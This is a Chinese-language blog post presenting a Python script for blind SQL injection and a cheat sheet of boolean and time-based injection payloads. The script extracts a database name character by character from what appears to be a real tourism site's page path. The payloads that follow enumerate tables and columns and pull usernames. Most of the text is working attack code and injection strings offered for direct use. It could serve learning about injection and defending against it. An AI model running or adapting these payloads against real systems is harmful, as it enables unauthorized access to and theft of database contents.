SQL盲注 python脚本
用于做数据库盲注,无回显的python简单脚本
import requests def sql_bine(): database_vule = "" print("正在盲注数据库名称:") for i in range(1,13): for ascii_i in range(29, 128): target = 'http://ip/index.php/Allpicture-view.html?type=2&id=99%2F**%2Fand%2B' payload = "ascii(substr(database(),{},1))%3D{}".format(str(i), ascii_i) target = target+payload req = requests.get(url=target) # print(req.text) if("東联旅游全部图片" in req.text): print("第{}个字母为:{}".format(str(i), chr(ascii_i))) database_vule = database_vule+chr(ascii_i) break print("当前数据库名称为:"+database_vule) if __name__ == '__main__': sql_bine()
*盲注无回显
**************SQL测试-基于布尔,延时盲注****************
知识点:
regexp 正则表达式
if if(条件,5,0) 条件成立 返回5 反之 返回0
sleep sleep(5) SQL语句延时执行5秒
mid mid(a,b,c) 从位置 b 开始, 截取 a 字符串的 c 位
substr substr(abc,1,2) 从第 1 位置开始, 截取字符串 abc 的 2 长度 则为ab
left left(database(),1) database()显示数据库名称, left(a,b)从左侧截取 a 的前 b 位
length length(database())=8,判断数据库database()名的长度
ascii ascii(x)=101 判断x的ascii码是否等于101,即email中的字母e
基于布尔盲注
0x01 获取数据库名操作Payload:
获取数据库名长度值
?id=1' and length(database())=8 %23
获取数据库名第一位值
?id=1' and left(database(),1)='s' %23 //%23表示# 判断数据库第一个字母是否为s
获取数据库名第二位值
?id=1' and left(database(),2) > 'sa' %23
?id=1' and left(database(),2) = 'se' %23
直到获取数据库名字
30-127
ascii(substr(database(),1,1))=101
0x02 获取表名操作Payload:
获取表名第一个第一位的值
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23
获取表名第一个第二位的值
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101 %23
获取表名第二个第一位的值
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101 %23
0x03 获取列名操作Payload:
获取列名regexp 查询users表第一个列名是否有us...列名
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+
0x04 获取数据操作Payload:
获取数据 security.users表中username列名的第一个第一位
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
基于延时盲注
0x01 获取数据库名操作Payload:
获取数据库名第一个第一位
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
0x02 获取表名操作Payload:
获取列名第一个第一位
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100,sleep(5),0)--+
可参考文章:https://www.cnblogs.com/xishaonian/p/6113965.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?